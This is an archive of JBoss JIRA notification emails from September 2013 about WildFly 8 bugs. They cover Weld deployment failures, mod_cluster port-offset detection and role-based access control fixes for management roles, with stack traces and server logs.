      was (Author: rick_777):
    I got the same (or a very similar) problem when trying to install JBoss BRMS on wildfly-8.0.0.Alpha4. So, exactly, how do I fix (or work around) this error?

Also, I checked the Wildfly 8 and this is where weld is installed:

C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\as\jsf-injection\main\weld-core-jsf-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\api\main\weld-api-2.0.SP1.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\core\main\weld-core-impl-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\spi\main\weld-spi-2.0.SP1.jar

So it appears that my Wildfly build already has Weld 2.0.3, so I'm confused now. Is this the same issue, a similar issue, or something completely different? Should I report it on weld, or open another ticket here? 

(Or is it a BRMS problem?)

I'm attaching the log.

{code:text}
13:37:16,320 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: Failed to start service
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Unknown Source) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl] public  class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation cannot be a non-static inner class
	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	... 3 more
{code}

                  
> Invalid deployment in WildFly 8 - Errai, Weld, TicketMonster
> ------------------------------------------------------------
>
>                 Key: WFLY-1992
>                 URL: https://issues.jboss.org/browse/WFLY-1992
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Emmanuel Bernard
>
> I am deploying TicketMonster which includes Errai and receives a deployment error that is not happening in JBoss AS 7.x nor EAP 6.x.
> Note that it could be
> - a WildFly error per se
> - a Weld error or change
> - an Errai error
> I am opening the issue here to track the problem down to its cause.
> {code}
> 15:00:17,818 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (MSC service thread 1-5) starting errai cdi ...
> 15:00:18,731 INFO  [org.jboss.errai.reflections.Reflections] (Thread-106) Reflections took 346 ms to scan 7 urls, producing 387 keys and 1384 values [using 2 cores]
> 15:00:18,815 WARN  [org.jboss.weld.Bean] (MSC service thread 1-5) WELD-001529 An InjectionTarget is created for a class org.jboss.errai.bus.server.service.ErraiServiceImpl which does not have any appropriate constructor.
> 15:00:18,828 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (pool-20-thread-1) all services registered successfully
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-2) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.ErraiServiceBean at 7adf1c57 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-3) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.MessageBusBean at 19b6b8f5 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,945 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: Failed to start service
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
> 	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	... 3 more
> 15:00:18,975 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "ticket-monster.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,977 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "ticket-monster.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,986 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 2 of 2) Service 'ticket-monster.war#primary'
> 15:00:18,987 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000227: Running hbm2ddl schema export
> 15:00:19,004 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000230: Schema export complete
> 15:00:19,007 INFO  [org.jboss.weld.deployer] (MSC service thread 1-4) JBAS016009: Stopping weld service for deployment ticket-monster.war
> 15:00:19,021 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 1 of 2) Service 'ticket-monster.war#primary'
> 15:00:19,022 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-6) JBAS010409: Unbound data source [java:jboss/datasources/ticket-monsterDS]
> 15:00:19,050 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-4) JBAS015877: Stopped deployment ticket-monster.war (runtime-name: ticket-monster.war) in 72ms
> 15:00:19,052 INFO  [org.jboss.as.controller] (DeploymentScanner-threads - 1) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.deployment.unit."ticket-monster.war".component."javax.servlet.jsp.jstl.tlv.ScriptFreeTLV".START (missing) dependents: [service jboss.deployment.unit."ticket-monster.war".deploymentCompleteService, service jboss.undertow.deployment.default-host./ticket-monster] 
> JBAS014776:    Newly corrected services:
>       service jboss.deployment.unit."ticket-monster.war".ee.ComponentRegistry (no longer required)
> JBAS014777:   Services which failed to start:      service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 17:28:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 22 Sep 2013 17:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.38463.1379885283409@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806300#comment-12806300 ] 

RH Bugzilla Integration commented on WFLY-1821:
-----------------------------------------------

Paul Gier <pgier at redhat.com> made a comment on [bug 1003533|https://bugzilla.redhat.com/show_bug.cgi?id=1003533]

This was merged to EAP: 
https://github.com/jbossas/jboss-eap/commit/bf567db9fe6913f006cc3e2420c8708b83795158
                
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 17:28:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 22 Sep 2013 17:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.38466.1379885283577@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806301#comment-12806301 ] 

RH Bugzilla Integration commented on WFLY-1821:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1003533|https://bugzilla.redhat.com/show_bug.cgi?id=1003533] from NEW to MODIFIED
                
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 18:36:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 22 Sep 2013 18:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1819) Prevent non-core use of
 ApplicationTypeConfig.DEPLOYMENT
In-Reply-To: <JIRA.12497919.1375654433000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497919.1375654433000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497919.1375654433000.38470.1379889363429@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1819?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1819:
-----------------------------------

    Summary: Prevent non-core use of ApplicationTypeConfig.DEPLOYMENT  (was: Consider removing ApplicationTypeConfig.DEPLOYMENT)

    
> Prevent non-core use of ApplicationTypeConfig.DEPLOYMENT
> --------------------------------------------------------
>
>                 Key: WFLY-1819
>                 URL: https://issues.jboss.org/browse/WFLY-1819
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Priority: Minor
>             Fix For: 8.0.0.CR1
>
>
> The public ApplicationTypeConfig.DEPLOYMENT leaves open the possibility of a subsystem author applying it to a subsystem resource, which would be incorrect. So see if we can handle the core "deployment" constraint some other way.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 18:36:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 22 Sep 2013 18:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1819) Prevent non-core use of
 ApplicationTypeConfig.DEPLOYMENT
In-Reply-To: <JIRA.12497919.1375654433000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497919.1375654433000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497919.1375654433000.38472.1379889363527@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1819?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1819:
-----------------------------------

    Description: The public ApplicationTypeConfig.DEPLOYMENT leaves open the possibility of a subsystem author applying it to a subsystem resource, which would be incorrect. Add a safeguard to ensure this does not occur.  (was: The public ApplicationTypeConfig.DEPLOYMENT leaves open the possibility of a subsystem author applying it to a subsystem resource, which would be incorrect. So see if we can handle the core "deployment" constraint some other way.)

    
> Prevent non-core use of ApplicationTypeConfig.DEPLOYMENT
> --------------------------------------------------------
>
>                 Key: WFLY-1819
>                 URL: https://issues.jboss.org/browse/WFLY-1819
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Priority: Minor
>             Fix For: 8.0.0.CR1
>
>
> The public ApplicationTypeConfig.DEPLOYMENT leaves open the possibility of a subsystem author applying it to a subsystem resource, which would be incorrect. Add a safeguard to ensure this does not occur.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 19:58:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 22 Sep 2013 19:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1819) Prevent non-core use of
 ApplicationTypeConfig.DEPLOYMENT
In-Reply-To: <JIRA.12497919.1375654433000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497919.1375654433000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497919.1375654433000.38483.1379894283338@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1819?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1819:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> Prevent non-core use of ApplicationTypeConfig.DEPLOYMENT
> --------------------------------------------------------
>
>                 Key: WFLY-1819
>                 URL: https://issues.jboss.org/browse/WFLY-1819
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> The public ApplicationTypeConfig.DEPLOYMENT leaves open the possibility of a subsystem author applying it to a subsystem resource, which would be incorrect. Add a safeguard to ensure this does not occur.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 23:17:03 2013
From: jira-events at lists.jboss.org (hui gao (JIRA))
Date: Sun, 22 Sep 2013 23:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2125) wildfly8 can't identify
	port-offset
In-Reply-To: <JIRA.12501168.1379906107044@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501168.1379906107044@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501168.1379906107044.38521.1379906223631@jira02.app.mwc.hst.phx2.redhat.com>

hui gao created WFLY-2125:
-----------------------------

             Summary: wildfly8 can't identify port-offset
                 Key: WFLY-2125
                 URL: https://issues.jboss.org/browse/WFLY-2125
             Project: WildFly
          Issue Type: Feature Request
          Components: Clustering
    Affects Versions: 8.0.0.Alpha4
         Environment: wildfly-8.0.0.Alpha4.tar.gz
jdk-7u25-linux-i586.rpm
mod_cluster-1.2.0.Final-linux2-x64-ssl.tar.gz
            Reporter: hui gao
            Assignee: Paul Ferraro


I installed wildfly8 and mod_cluster  reference steps of https://docs.jboss.org/author/display/AS72/AS7+Cluster+Howto

The cluster contains four servers,start up with domain mode:
10.19.222.52:server1/server2
10.19.222.53:server3/server4
10.19.222.50:apache

But it only detects server1 and server3 which the port is 8009.
The port-offset is 100,it can't identify the other port(8109) for server2 and server4.
Search errorlog of Apache ,the proxy:AJP always acquired connection through initial AJP port(8009) defined in domain.xml.

[Fri Sep 13 21:07:40 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
[Fri Sep 13 21:07:40 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
[Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
[Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
[Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
[Fri Sep 13 21:07:43 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
[Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
[Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
[Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
[Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009
[Fri Sep 13 21:07:45 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
[Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
[Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
[Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=2644d861-0ead-352c-ba1e-619f1e1f25e8&Load=100"
[Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1404): Processing STATUS
[Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
[Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
[Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
[Fri Sep 13 21:07:46 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
[Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
[Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2366): manager_handler STATUS  OK
[Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
[Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=ea81701b-f847-34a8-9534-0ac5c489af90&Load=100"
[Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1404): Processing STATUS
[Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
[Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
[Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 23:25:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 22 Sep 2013 23:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2087) Administrator should be
 prevented from modifying super user and auditor roles.
In-Reply-To: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500788.1379348381000.38530.1379906703489@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2087?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806309#comment-12806309 ] 

Brian Stansberry commented on WFLY-2087:
----------------------------------------

I think this bug can be fixed simply with the addition of a new AllowsAllowNotConstraint type. The "allows" part is simply whether the role is SuperUser. The "is" part is whether the target resource is a resource mapping resource for /core-service=management/access=authorization/role-mapping=Auditor/** or role-mapping=SuperUser/**.

I don't think scoped roles come into play, as no scoped role has write permissions for the access control stuff. So ServerGroupASuperUser or HostBSuperUser not being able to modify those resources is fine; they can't anyway.

Darran, feel free to assign this to me if you'd like, as I have a pretty clear idea of what to do.
                
> Administrator should be prevented from modifying super user and auditor roles.
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-2087
>                 URL: https://issues.jboss.org/browse/WFLY-2087
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> These roles have maximum privileges in their area, i.e. super user can do everything and auditor can stop changes to the server being logged.
> The administrator role should be prevented from modifying these two roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 23:25:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 22 Sep 2013 23:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1984) MBeanAttributeInfo#isReadable
 and MBeanAttributeInfo#isWrittable return always true
In-Reply-To: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499790.1378192763000.38534.1379906703644@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1984?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1984:
-----------------------------------

    Fix Version/s:     (was: 8.0.0.CR1)

    
> MBeanAttributeInfo#isReadable and MBeanAttributeInfo#isWrittable return always true
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1984
>                 URL: https://issues.jboss.org/browse/WFLY-1984
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> According to javadoc [1] these methods should return boolean value based on whether this attribute can be read / written. However currently true is returned even though authenticated user can't perform read / write operation. 
> Note: As I am familiar with JMX spec only very briefly, it is possible that these methods are intended for something bit different. 
> [1] http://docs.oracle.com/javase/7/docs/api/javax/management/MBeanAttributeInfo.html#isReadable()

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 23:27:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 22 Sep 2013 23:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1984) MBeanAttributeInfo#isReadable
 and MBeanAttributeInfo#isWrittable return always true
In-Reply-To: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499790.1378192763000.38538.1379906823522@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1984?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1984:
-----------------------------------

    Fix Version/s: 9.0.0.CR1


I'm rescheduling this as the action here is to look into the Description stuff. I don't want the behavior of the MBeanAttributeInfo methods to change.
                
> MBeanAttributeInfo#isReadable and MBeanAttributeInfo#isWrittable return always true
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1984
>                 URL: https://issues.jboss.org/browse/WFLY-1984
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 9.0.0.CR1
>
>
> According to javadoc [1] these methods should return boolean value based on whether this attribute can be read / written. However currently true is returned even though authenticated user can't perform read / write operation. 
> Note: As I am familiar with JMX spec only very briefly, it is possible that these methods are intended for something bit different. 
> [1] http://docs.oracle.com/javase/7/docs/api/javax/management/MBeanAttributeInfo.html#isReadable()

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 23:27:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 22 Sep 2013 23:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1984) MBeanAttributeInfo#isReadable
 and MBeanAttributeInfo#isWrittable return always true
In-Reply-To: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499790.1378192763000.38542.1379906823739@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1984?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1984:
-----------------------------------

        Parent:     (was: WFLY-490)
    Issue Type: Feature Request  (was: Sub-task)

    
> MBeanAttributeInfo#isReadable and MBeanAttributeInfo#isWrittable return always true
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1984
>                 URL: https://issues.jboss.org/browse/WFLY-1984
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 9.0.0.CR1
>
>
> According to javadoc [1] these methods should return boolean value based on whether this attribute can be read / written. However currently true is returned even though authenticated user can't perform read / write operation. 
> Note: As I am familiar with JMX spec only very briefly, it is possible that these methods are intended for something bit different. 
> [1] http://docs.oracle.com/javase/7/docs/api/javax/management/MBeanAttributeInfo.html#isReadable()

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

